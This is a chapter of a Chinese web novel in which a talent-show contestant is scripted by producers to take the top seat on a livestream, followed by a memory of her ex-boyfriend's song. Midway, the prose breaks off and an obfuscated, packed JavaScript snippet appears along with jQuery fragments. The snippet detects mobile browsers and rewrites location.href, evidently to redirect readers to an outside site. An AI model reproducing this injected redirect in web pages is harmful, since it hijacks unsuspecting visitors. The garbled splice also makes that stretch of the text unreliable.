首次评级这事儿，确实挺让人紧张的，但是却并不包括沈亦凝在内。


    因为她压根就没有选择的机会。


    剧本上明晃晃地写清楚一条：「自我评级时请坐到第一王座上。」


    一个“请”字，礼貌中带着几分隐隐的威胁。


    节目组写出这个剧本的目的昭然若揭——他们知道她短暂一个晚上压根练不出什么名堂，在他们看来，说不定沈亦凝连歌词都记不下来，所以在直播的时候绝对会出丑。


    再让她按照剧本上写的自信坐上第一王座的位置，这不就明晃晃地想要看她出丑么。


    等她坐上第一王座，接下来进行主题曲集体评级时，让观众发现她空有野心没有实力，对她的第一印象就会十分差劲。


    等直播关闭，后续要四个月才上线星果TV，在这四个月时间，这些直播片段就会一传十十传百。


    少说沈亦凝都要被追着骂四个月。


    对此，沈亦凝只有两个字：无语。


    节目组真的挺神经的，沈亦凝有时候压根搞不明白为什么非得逮着她不放。


    故意整她，除了给节目组增加一点流量之外，难道这对他们有什么作用吗？


    非要献祭她。


    但是她没有办法。


    虽说自己看起来是个小演员，成日活在聚光灯下，但是那只是表面看起来工作还算体面而已，只有她自己知道，她不过只是公司里一个小小的打工人，没有一点儿话语权的。


    当初十四岁的自己不懂事，在Y.E这个狗屁公司一签合同就签到三十岁才解约。


    十四岁到三十岁，人一生中最青春的几年都要耗在YE了。


    如果能回到过去，沈亦凝一定会一巴掌扇死自己：看你做的好事！


    但人生如棋、落子无悔。沈亦凝不喜欢纠结“如果当初”，更不想沉溺“我本可以”，否则这样的日子会很难过。


    如今YE能给她复出的舞台机会，她知道自己自然要牺牲一点什么东西。


    对此也能坦然接受。


    于是别的练习生在选座的时候，沈亦凝在事不关己的蜷缩在角落里偷偷睡觉。


    毕竟实在是太困了，她必须偷偷补眠，等到她选座的时候，坐上第一王座接着等着被骂就好。


    被骂而已，这些年又不是没被追着骂过，虽是内娱小糊咖，但是每天收到微博私信问候都在999＋。


    多大点事嘛！


    平常心就好了。


    沈亦凝既然无法反抗，与其内耗不如睡觉的原则，舒舒服服地在角落里摸鱼，就这么眯眼小憩了十几分钟，终于在一阵尖叫声中被吵醒。


    她眨了眨眼睛，眼睛睁开一条缝，就看到第一王之座上此时已经坐了一个人，身旁练习生在疯狂欢呼。


    “牛逼，童夏月你太牛逼了！！”


    “王之座啊啊啊！！童夏月我真佩服你。”


    不只是身旁练习生们控制不住尖叫起哄，直播间也疯了。


    【不愧是童舟的女儿哈哈哈，big胆！】


    【毕竟她老爹是演过“部队突击”特种兵兵王的女儿，就是有种。】


    其它练习生炸了，直播间网友疯了，沈亦凝懵逼了。


    直播镜头给到台下的凌杭，他手握麦克风，微弯笑眼，“王之座有人选择了呢，童夏月你很有勇气，现在镜头和麦克风交给你，现在也是你的发言时刻。”


    麦克风落到了童夏月手里，她对着镜头笑了一下，语气灵动又俏皮，“第一王座坐起来真的不错哦～”说完对镜头比了个爱心。


    直播间弹幕翻滚：


    【凌杭我吃醋了，你怎么可以对童夏月笑得这么宠，我哭死。】


    【顶级甜妹童夏月，第一个坐上王座的女人，爱了爱了。】


    【这人谁啊，我爱上这个女生了呜呜呜。】


    【夏月宝宝妈妈爱你。】


    【女孩子也可以是野心家啊，好勇敢的宝宝。】


    【我喜欢这个姑娘，从不掩饰野心，想要就直接拿到手！】


    沈亦凝低头再三确认自己手中的剧本，脑袋上方缓缓冒出一个问号。


    按照节目组的规划，坐上王之座的人应该是她才对，但是像这种节目，就是会出现各种各样突发情况，就比如现在，谁也没料到杀出一个童夏月来，彻底打乱了节目组的计划。


    童夏月走了这一步，明显已经在节目组的计划之外，那岂不是意味着她就不用顶着压力去抢王之座了？


    沈亦凝愣了两秒钟之后，慢慢缓过神来，嘴角控制不住轻扬起一个弧度，心里开始默默地庆幸起来。


    还好有这个意外存在啊，她可以不用跟着剧本走了，本来沈亦凝还在昏昏欲睡当中，昏睡虫瞬间就被赶到九霄云外。


    她心里一边默默地给童夏月打call，一边搓搓小手起身，准备往下位圈走过去。


    童夏月啊童夏月，感谢救命之恩！你的大恩大德我永生……


    「难忘」两个字还没有来得及在心里感叹完，沈亦凝的耳麦里传来节目组策划导演的声音。


    策划导演：“继续按剧本走。”


    沈亦凝脸上的笑容顿时僵硬在脸上，她有一瞬间以为自己幻听，耳麦里策划导演那如同恶魔催命的声音再次响起，“把王之座抢过来。”


    沈亦凝：……


    沈亦凝：Areyoukiddingme？我抢你大爷啊。


    现在练习生正沸腾，直播间里正疯狂。


    她在这个风头上怎么抢，难不成跟童夏月说“我想坐这里，你给我滚”？


    光是想想就足够让人窒息的程度。


    直播间里的人一口一个唾沫能够瞬间把她给淹死，与此同时为童夏月打抱不平的人会越来越多。


    沈亦凝不免怀疑，温氏千金温南乔不一定是皇族，童夏月这个家伙才是真正被内定出道的皇族。


    也许今天这一波就是节目组策划好的，牺牲她成全童夏月。


    沈亦凝深吸一口气，最终还是听从了策划导演的安排。


    接下来，直播间里出现了无比诡异的一幕——沈亦凝前往下位圈的脚步顿住，像是被控制了一样，脚步僵硬面无表情地从下位圈一步一步走上金字塔。


    其它练习生自评选座位的时候，直播间都在疯狂讨论和打赌，唯独到沈亦凝选座位的时候，画风格外不一样。


    直播间里到处飘屏给各种人打call的评论，唯独没人讨论她。准确来说是直接把议论她的那少部分评论给人为性地直接压下去了。


    真相只有一个——“士兵”们正在拼了老命地敲键盘控评。


    能让“沈亦凝”这个名字在直播间里出现哪怕一秒钟，那都是他们打字不够快！


    即使直播间里评论打不过，真正在屏幕前观看直播的路人，还是难免会在心里好奇，沈亦凝这人究竟选择去哪个座位。


    也不是所有练习生都备受关注，主要是长相优越的、自带热度的、或者是有自己独特气质画风的才会被关注。


    上述的几点，沈亦凝无疑都沾点边。


    当她从下位圈走上中位圈，路人们都在赌她会不会往上位圈走去。当她路过上位圈，大家表示正常，毕竟她有颜值，美女对自己自信一点儿好像也十分正常吧。


    当她淡定路过上位圈直奔最上方的几个出道位走过去的时候，路人和练习生都兴奋了：难不成又出现了一个“漂亮野心家”？


    可当她一路往上走，一路直逼王之座，最终走到童夏月面前的时候停下脚步时，场地里一片安静。


    是十分诡异的沉默，落针可闻。


    耳麦里策划导演悠悠开口：“直接抢。”


    沈亦凝顶着压力，硬着头皮开口，打破了这片死一样的沉默，“你好，我也想坐这里，能把这个位置让给我吗？”


    直播到目前为止，最大的看点来了。


    童星出身的童夏月，对打曾经韩娱女团Center沈亦凝。


    托父亲童舟的福，童夏月很小就参加亲子综艺，在内娱知名度挺高，反观沈亦凝，在内娱查无此人，除了芝士球和自家黑粉沈金兵在疯狂关注她之外，路人对她的印象几乎为零，估计有一群真爱粉丝，但是都是处于比较沉默的状态。


    内娱路人观众认识沈亦凝的途径全是因为之前曝光“素人时期恋爱瓜”，知道她是某某当红歌手的前女友。


    除此之外一无所知。


    于是两个人此时此刻在对峙的时候，直播间的路人观众比较偏向谁就一目了然了。


    更何况……这种抢座位的行为本来就不占理，甚至还有些讨人厌。


    骂沈亦凝护童夏月，就是这么一件自然而然的事情。


    那句话抢座位的说出口时，沈亦凝能够感觉到在场所有人的视线都汇集在她身上。


    有练习生小声吐槽，“我靠，她不会也想直接坐在那个位置吧？这个位置都已经有人坐了，还抢啊？”


    “她这么勇的吗，就不怕被骂？”


    “谁知道啊，这也太drama了，为了流量吧，黑红也是红啊。”


    直播间也炸了，清一色地扣起了“666”。


    内娱主要还是观众盘更多，有时候一两家粉丝的控评还是比不过民愤，“士兵”们从节目一开播就开始控评，但是千算万算都没有算到沈亦凝这个家伙会突然来这么一出。


    于是不受控制的，“沈亦凝”这个名字还是出现在了直播间里，而且是大范围地不受控制般狂翻滚弹幕：


    【什么什么，我眼花了吧，原来还可以抢座位的吗？】


    【沈亦凝这姐是懂综艺效果的，开播前就开始营销，再加上现在这么一波骚操作，大家的关注度不就全在她身上咯？】


    【我不懂，好低情商的操作，人家都坐上去了还抢什么。】


    【她比童夏月好看，估计对自己很有信心吧。】


    【666，您这是三观跟着五官走？这种行为也有人护，真的是太绝了。】


    【我说护她了吗？我只是在揣测她的行为动机，我只是推测她也许对自己有自信，所以选择抢位置，我又没说这个行为对。】


    【但这个行为也说不上错吧，别对女生这么大恶意，宽容一点好吗，毕竟节目组也没规定别人选了座位之后不能抢位置吧？】


    【可这也太不道德了。】


    【都说了这姐很会营销搞事的，节目没播出之前就经常能够刷到她，现在初场直播又搞这种。】


    【真搞不懂她为什么会这么做，难道真不怕被骂吗？】


    【说不定人家就想被骂呢，她一看就是走黑红这条路线的，黑红也是红啊，如果没人骂她她早就查无此人彻底糊了。】


    【童夏月实惨，好不容易鼓起勇气坐上了Topone的位置，结果半路杀出个程咬金。】


    直播间里翻滚的弹幕，童夏月跟沈亦凝压根就看不见，准确来说是在场的所有练习生都没办法看见。


    但是毕竟沈亦凝的这个行为真的实在是太过有争议，她们基本上能够猜测到现在直播间里绝对不会很太平。


    童夏月跟沈亦凝面面相觑。她沉默着，似乎在思考，面露纠结的样子。


    时间每度过一秒钟，对沈亦凝都是一场煎熬。


    其实直播间里还是有理性的观众的：


    【别太玻璃心了吧，这不是跟读书时候班委竞选一个道理？谁对某个位置感兴趣就抢呗。】


    【社会丛林的规则只有一条：成为狩猎者，或者成为猎物。总所周知野心家并不是个贬义词，有野心的人才能得到世界，抢座位我觉得没问题哈。】


    【说句公道话，她这种人其实真坏也怪不到哪里去，毕竟有谁把野心直接摆在明面上的，想要王之座直接光明正大抢，总比暗地使绊子强，适者生存，不适者直接over咯。】


    【不是谁的粉丝，抢座位也没问题，我建议来个battle，不是有舞台吗？一人battle一次，唱个歌跳个舞，谁有实力谁坐，两个大美女视觉盛宴哈哈哈。】


    【干脆一起坐算了，王之座比其它座位大这么多，与其搞对立不如两个美女友好贴贴嘿嘿嘿。】


    只不过“士兵”们一看到这种带有偏向沈亦凝性的评论，直接开始各种控评，把这种理性看待的评论压了下去。


    控评内容包括且不局限于“低情商”、“为了流量”、“茶姐”之类。


    由于他们的专门控评，加上批判这个行为的路人占比比较大，于是直播间90％以上都在批判沈亦凝。


    于是在无人知晓的角落，微博热搜又偷偷多了一个词条：


    ＃沈亦凝抢座童夏月＃


    虽然热度并不高，只卡在第22这个位置，却也算是小小地出圈了一把。


    微博上一溜水军找准风口骂人，直播切片没多久估计也将被剪辑出来丢到短视频传播平台上边了，在被一些营销号掐头去尾剪辑一下，又将是一款妥妥的流量密码。


    节目组后台看到直播间的激烈反馈，都十分满意。


    他们也并不是说非要献祭沈亦凝。


    只是像这种选秀综艺，资方为了流量和挣钱，就一定要有人牺牲。


    其实百名练习生里，并不止沈亦凝一个人拿了剧本，还有不少人都拿了剧本，只不过她们互相都并不知情。


    剧本分为「实力制霸」、「争议人物」、「低开高走」、「逆风翻盘」、「搞笑担当」、「异军突起」等等……


    有剧本的存在才能够充分保证这个节目有看点。


    至于谁拿到不好的剧本，那就只能自认倒霉了，就像节目组评估一圈下来，觉得沈亦凝拿个「绿茶炮灰」的剧本实在是太合适不过的事情了。


    沈亦凝虽说签约的是个大公司，但公司并不护她，节目组只需要给她一个参加节目的曝光机会，她就得卖力演戏，给节目带来流量为资本挣钱。


    而且她身上最近很有流量，就像今晚的直播，她就能够为节目组带来不少流量，能够吸引观众点进节目来尝一尝咸淡。


    还不需要承担风险。


    真是稳赚不赔的一件事情。


    资本明确知道观众想看什么，大部分情况下让观众看到的东西，都不一定是真的。


    ——你能看到的，其实都是我想让你看到的罢了。


    只不过一些不懂内幕的人，容易看到什么就相信什么，也很容易在网络上被营销号当枪使。


    就像现在，节目组安排在沈亦凝身上的剧本，就起了很大的作用和很好反馈。


    被骂也是流量，最怕的是无人关注。


    策划导演说，“把这个直播切片剪辑一下，发节目组官号上，说不定还能够再上一波热搜。”


    导演助理小声跑过来，皱着眉头说，“微博上关于抢座的热搜刚上热搜就被撤下来了，热度top2的热搜也被撤下来了。”


    策划导演一愣。


    如果他没记错的话，热搜top2的热搜是＃复合是不可能复合的！爆＃


    策划导演：“祁致工作室把热搜撤下去的？”


    “top2的热搜应该是他家撤下去的，但是……”助理疑惑道，“抢座热搜应该不是吧，都这么多年前的前女友了，他家应该不会帮她撤热搜吧，而且一些营销号发了抢座类似的视频，一律都被限流，要么就是压根发不出去。”


    那还能是谁？


    不是说沈亦凝是纯草根，没有什么背景吗？而且明显她的公司也并不捧她，压根就不可能在这种风口上护着她了。


    如果不是她前男友祁致还能是谁？但祁致也确实没有这个动机去这么做。


    毕竟谁会去管前任的死活呢？


    “……”策划导演沉思片刻，实在是想不明白于是直接选择放弃了：“算了，今天看过这场直播的人总人数少说也有百万，就算没热搜也不要紧了。”


    ***


    童夏月坐这个位置单纯只是因为对自己有自信，毕竟童星出道，粉丝数在现场的所有人里也数一数二。


    她坐这个位置，主要是自己有自信心在今天的主题曲考核拿下一个不错的成绩，即使被骂了也会有人护着，总体来说利大于弊。


    但有人过来抢她座位这事她也是完全没有料到的，所以她才会愣住，除此之外，她愣怔的原因还是因为——压根不解为什么沈亦凝会来抢座位，真的很让人想不通啊。


    这种靠争议行为博取流量的行为，属于是自损八百了，一般正常人都不会做出这种举动吧，起码童夏月就不会这么做。


    即使有“黑红也是红”这个说法，但是一般人谁会发疯？


    童夏月参加这个节目就是冲着出道来的，在来到这个节目之前，她分析过所有练习生中，最有竞争力之一的人就是沈亦凝。


    虽说目前沈亦凝在网络上风评不太好，但是娱乐圈就是这样，几乎每个明星都会经历被黑的一段时间，这并没有什么大不了的。


    毕竟她们混娱乐圈的人属于是公众人物，一些普通得言行会被放大，特别是没背景的人闯荡娱乐圈，会被黑得很惨。


    童夏月是混娱乐圈的，自然也知道只要没有犯一些选择性错误，一些被黑得再惨的人，都会有翻身的机会。


    网上风向永远都是一阵一阵的，内娱不少风评由差转好的人。


    童夏月也没有因为沈亦凝目前的风评差而轻视她，反而还有点儿忌惮。


    毕竟是从韩娱里杀出来的前辈，绝对有实力，更何况……沈亦凝长得一点儿都不差劲。


    像沈亦凝这种有实力有颜值的人，在内娱里很有翻红的潜力，她的公司给力一点儿，估计节目结束她风评就变了。


    可如今此人做出“抢座”这种行为，童夏月不着痕迹地挑了挑眉，心里偷偷给沈亦凝贴上了一个“愚蠢”的标签。


    明明可以走低调路线，靠实力和颜值慢慢征服粉丝，却偏偏选择了最铤而走险地博取眼球的方式。


    真是美貌且无脑。


    童夏月打算顺水推舟一把。


    她沉默了一会儿，从座位上站了起来，“那你坐吧，我下去坐。”


    就这么轻而易举地、特别好脾气地把位置让出来了。


    没有一点儿火药味。


    直播间里期待的“打起来，你们都给我打起来”、“battle，我要看神仙battle”等并没有发生。


    大家伙儿眼睁睁地看着童夏月起身离开王之座，从1号位坐到了2号位。


    童夏月也不一定真要争这个位置，毕竟这只是自我评级而已，又不是最终评级，坐不坐都一样。


    何必要争？


    她刚才坐了一下，已经得到了一阵关注和流量，现在把位置让出去也无伤大雅，说不定还能得到一小波怜爱粉。


    如童夏月所愿，直播间都已经快打起来了：


    【就这么直接把座位让出去了？童夏月你还是太好脾气了。】


    【不让能怎么样，难不成还打一架？】


    【是我我就不让，这是我先坐的位置，为什么要让，syn避雷避雷避雷。】


    【但我真吃syn她的颜，这事儿也不算很严重吧，大家是不是太小题大做了？】


    【直播间90％都在骂她，合理怀疑她是不是被人请水军专门黑了。】


    【谁会花这种精力和金钱去黑一个十八线啊，太把自己当回事了吧？】


    【网传她人品一般，刚直播没多久就显现出原型了呵呵。】


    【只有我比大家伙儿多了一段记忆？这人不是早塌了吗？】


    【你是说谈恋爱的事情吧，人家现在没谈不就行了，如果素人时期恋爱也算塌的话，那内娱大部分男的明星都得被抓起来丢出娱乐圈呵呵哒。】


    【长这么漂亮，素人时期谈恋爱不是很正常的事情吗……】


    【素人时期谈了个恋爱去哪儿都被说，做女明星太难了哈，怎么没见你们去骂祁致呢，别太爱男了，如果这事儿沈亦凝要被钉在耻辱柱上，顺带把祁致也一起骂了吧，买一送一。】


    【骂她今天的行为我能理解，只是我不明白赛前素人时期的瓜有啥好掰扯的……】


    【素人时期谈恋爱确实不严重，但是你要被爆出来现在二十多岁事业上升期谈，给我双双打包丢出火星，不管是谁不管男女都是降龙十八掌。】


    【我说的又不是谈恋爱的事，是她当初退团SunriseTribe。】


    【说不定退团有什么难言之隐。】


    【能有什么难言之隐啊，在团内时名气资源top，SunriseTribe亏待谁都不可能亏待她。】


    【好糊的团，听都没听过。】


    【SunriseTribe还糊？你没听过不代表这个团没火过，混kpop的人都知道这个团吧！】


    这次自我评级，最引人注目的就是童夏月和沈亦凝两个人。只不过一人得到广泛同情，一人身上争议颇多。


    沈亦凝作为当事人，坐在王之座上，撑着下巴，开始陷入了忧愁。


    只能够默默地在心里祈祷着：直播间的朋友们，对我轻点儿骂吧！


    百名练习生陆续落座。


    没有再有如此抓马的事情发生了。


    可就在众人都以为自我评级这事儿就要落下帷幕的时候，坐在“5”号位的温南乔却慢悠悠地站了起来。


    众人愣住，视线齐刷刷地落在温南乔身上，都在震惊，“温南乔这是要做什么？”


    策划导演也傻了。


    温南乔身上可没有剧本，她做的每一件事都不在他们的掌控之下。


    镜头缓缓聚焦到温南乔身上。


    温南乔就这么当着众人和直播间观众的面，转身走到沈亦凝面前。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177630|163232||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“我也想坐坐这里。”温南乔俏皮地对着沈亦凝歪头笑了一下，“能换一下位置吗？”


    所有人都傻了，直播间又清一色地开始飘屏“666”。


    【谁能告诉我，你们这究竟是什么情况？】


    【王之座不停抢抢抢抢到厌倦。】


    【严肃场合请停止玩梗。】


    【我好头痛，你们干脆每个人都把王之座坐一遍算了。】


    【不是王之座怎么谁都蒙抢一下，真的好草率啊哈哈哈哈。】


    【乔妹什么搞笑人设，怎么她也来凑热闹。】


    【你们看到温南乔wink了吗，好可爱！！】


    【不是吧，沈亦凝抢的时候你们就骂，温南乔抢就可爱？这……有点难评。】


    【我怎么感受到了姬情四射的氛围，别这样，我害怕。】


    【le看什么都是le，不过这两人的确很养眼，所有练习生中最漂亮的三个都坐过这个位置，有趣，真有趣，太interesting了家人们。】


    温南乔突如其来的这个操作，并没有引起直播间的人反感，反而还很好地把这充满“火药味”的挑衅举动，直接偏娱乐化地给化解了过去。


    直播间里本来还一直在讨伐沈亦凝抢座的不合理性，在此刻态度缓和了不少。


    从一开始认为“凭什么抢座”，到现在的“抢就抢了呗，想坐第一的位置就提出来，很正常啊”。


    就算有人指出沈亦凝抢座位的不合理之处，就有路人跳出来说“那温南乔岂不是更过分，她明明都选好位置了还出来抢？”


    还真就十分巧妙地帮沈亦凝挡下了一部分骂声吸引了部分活力，不仅如此，还扭转了沈亦凝的部分风评。


    两个人同时坐在王之座这事儿，简直就是离谱，剧本都难以写出来的剧情。


    甚至都有人开始嗑起了两人的美女双强cp「温沈絮语」。


    节目组见有热度，再加上温氏是这个节目赞助商之一，没办法得罪。


    于是还真就让王之座上坐了两个人。


    自我评级完毕。


    凌杭去而复返，握着麦克风开始继续控场，“百名练习生目前已评级完毕，第二个环节就是集体考核。再考核之前，可以欣赏一下四个导师的舞台表演。”


    练习生人群里爆发了欢呼声，“哇哦哇哦！！可以看到免费演唱会咯～”


    第一个出场表演的是Rap导师贺彦。


    贺彦在舞台上表演，沈亦凝没忍住在下边开小差，她虽然跟温南乔不是很熟悉，甚至在此之前从来没有打过任何交道，但是她也能够看得出来，温南乔对她没有恶意，否则也不会替她解围。


    沈亦凝抢座童夏月，是因为剧本在身，不得已而为之。


    不过她相信温南乔不是，她觉得温南乔绝对是在替她解围。


    可为什么温南乔要这么做？


    沈亦凝想不明白，于是没忍住压低声音问，“你难不成也拿了剧本？”


    “什么剧本？”温南乔偏过头来，漂亮的双眸弯成了个小月牙，“我没有那个东西。”


    沈亦凝：“？”


    没有剧本，那怎么会冒着被骂的风险给她解围，这总不可能是抢座位图个开心随意就抢了吧。


    沈亦凝有些困惑，“那你怎么会抢座。”


    温南乔继续狡黠一笑，“你猜。”


    这压根就猜不出来啊。


    温南乔也不卖关子了，“想抢就抢咯。”


    “你不怕被骂吗？”


    温南乔不答反问反问，“那你呢，知道这样做会被骂，为什么还要抢王座？”


    “……”沈亦凝不知道怎么回答，总不能直接跟她说是“是剧本让我这么做的”这种话吧。


    温南乔见她沉默，也不继续深问，而是主动开口，“我家有钱，参加综艺就图个开心，不在乎这个。”


    说着温南乔又给她甩了个wink，“大不了就两个人一起被骂呗。”


    沈亦凝有片刻的怔然。


    就像在一个人身处孤立无援的境地时，突然有那么一个人出现，对你伸出了一只手，并且跟你说“有我陪你”。


    沈亦凝现在心里就是这样的一种感觉。


    很温暖，很安心。


    沈亦凝不理解温南乔为何会主动对她示好。


    温南乔也并不打算解释，她只是说，“期待你今天的舞台哦。”


    “期待我的舞台？那你可能要失望了。”沈亦凝说，“我舞台很差劲。”


    “怎么会，”温南乔扭头看她，“小队长对自己难道就这么没有信心吗？”


    小、队、长。


    听到这个熟悉又陌生的称呼，沈亦凝竟然有这么一瞬间的恍惚。


    已经好多年没有人这么叫过她了。


    沈亦凝对此也就只能想到一个可能性，“你知道SunriseTribe？”


    她曾经是韩娱女团SunriseTribe的Center兼队长，粉丝和成员有时候会喊她名字，或者直接称呼她“小队长”。


    如果不认识她曾经的这个团队，怎么可能会称呼她这个名字。


    温南乔没承认也没否认。


    不知道是因为不愿意回答，还是因为现在突然拔高的尖叫声把沈亦凝刚才的疑问给完全淹没掉，导致温南乔压根就没听见她刚才说了什么。


    “祁致导师太帅辣！！！”


    沈亦凝被这尖叫声吓得瞬间回神，她的视线往舞台上看过去。


    发现Rap导师贺彦不知道什么时候下台了，现在站在台上的是祁致。


    而且还是蓝发造型的祁致。


    舞台中央，年轻男人一头惹眼的蓝发，眉眼在冷色调发色的映衬下更显精致立体，举手投足间自带疏离又温柔的气质。


    蓝发与肌肤的对比愈发鲜明，仿佛冰雪初融时的春日，修剪利落的眉峰在蓝发的掩映下更显英气，宛如雪山上的刀刃，凌厉而张扬。


    他伸手握着面前的蓝色话筒，唇角轻勾，有种从日系少年漫画的清新感。


    舒缓的前奏缓缓响起，低沉清澈的声音通过麦克风和音响，穿过台上台下的人声鼎沸，缓缓落入沈亦凝的耳朵里。


    “凌晨三点的琴键发烫，少年的影子在墙上生长。


    汗水浸透的乐谱泛黄，却把每个音符都写成诗行。”


    “我沿着光的轨迹生长，把挫折当作年轮刻在心上。


    多少次跌倒再爬起，直到日落线降临。


    Iwillsay，I’mheretostay,Iwon’tbreak。”


    他很适合舞台，即使只是一场直播穿插表演，场风稳得就像是在开了一场个人演唱会一样。


    直播间炸了。


    【祁致蓝发造型限时返场！】


    【这套造型简直就是天神下凡。】


    【第一次追星就追了这么帅气且有实力的，是我的福气。】


    【我已经是老芝士球了，怎么从来没有听过祁致还有这首歌？他没公开发行过这首歌吧，否则我个资深歌迷怎么从来没听过，难不成我是一个假粉丝吗？】


    【我也没听过，我感觉我也是个假粉丝。难不成这是还没发行的新歌？】


    【但歌词和旋律都比较青涩，曲风和现在大相径庭……有点像早期的歌。不想是现在这个阶段创作出来的。】


    【但还是很好听啊！！很青春有活力好不好！】


    在场的其它练习生，有不少听过祁致的歌，甚至是他的fans，都表示好像没听过这首歌。


    和直播间的反应一样，下意识觉得——这难不成是祁致的新歌？


    在场的人只有沈亦凝一个人知道，这首《UnbreakableWings》并不是他的新歌。


    准确来说，是祁致自主作词作曲的第一首歌，创作在他的十七岁。


    她曾经在和他初次见面时的那家“极光”小酒馆里，听他唱过。


    歌词直白大胆，又带有几分少年感。


    在场的所有人都抬着头认真观看他的表演，唯独只有沈亦凝垂下了脑袋。


    脑海里回想起那段很遥远的时光。


    这首歌其实还有最初版本，现在祁致在台上演唱的版本是后来两个人凑在一起反复研究修改之后的成果。


    这首歌后来投了公司被选中，但是祁致却没有选择把这首歌发行出去。


    她问他为什么？


    他懒洋洋地斜靠在沙发上，长臂一伸直接把她给搂进怀里。


    嘴角慢慢地、不自觉地渐渐加深弧度。


    “一一，”他忽然启唇，轻唤她的小名，“这首歌是你帮我改的，我得把它保留下来。”


    他的声音逐渐温柔，“这首歌我以后只唱给你听。”


    沈亦凝笑话他，“什么啊，这首歌又不是情歌，不适合送给女朋友听吧？”


    “以后会给你写专属情歌的。”


    “那现在这首呢？”


    “我要私藏，不给听。”


    她逗他。“那万一我们分手？”


    “也不给听。”


    祁致突然看向她，“除非我们之间永远不可能了。”


    那年夏天炎热又漫长，柏油路蒸腾着朦胧的热浪，梧桐树的叶子被晒得发亮，蝉鸣嘶哑从清晨到黄昏，一浪高过一浪。


    他们还单纯地以为只要相爱，在一起就能是永远。


    一曲终了，掌声雷鸣。


    在一众欢呼声中，沈亦凝抬起头，混迹在人群中面无表情地鼓掌。


    她的脑海里不停回荡起从前的那句“除非我们之间永远不可能了”。


    沈亦凝唇角绷直，心情像是冰镇过的酸梅汁，入口却酸得人眼眶发烫，喉咙里凝结着化不开的涩。


    她下意识伸手摸了一下兜里的药膏，冰冰凉凉地贴在温热掌心里，触感是如此清晰。


    在那个蒙面工作人员把药膏递给她的那一瞬间，她第一反应就猜出来绝对是祁致给她带的。


    实话实说，她脑海里浮现过一个可怕的念头——祁致会不会还放不下她，就像她现在偶尔还会记挂起他一样。


    但现在看来，他对她的好，也许只是出自于成年人的体面，以及对曾经亲密且爱过的前任下意识的帮助和关心。


    毕竟曾经喜欢过，落魄时帮助一下很正常吧。


    但也仅此而已。


    沈亦凝，你忘记当初看到对方那个采访吗，他说他已经往前走了，你为什么还要这么不争气地总是想起过去？


    你要记住。


    你们之间已经永远不可能了。


    且不说当年他们早就分手了，就算是当初坚持到现在没分，两人现在都在拼事业的最好年纪，也迟早会分开的。


    如果我们还有未来……


    没有如果。


    not‘if’。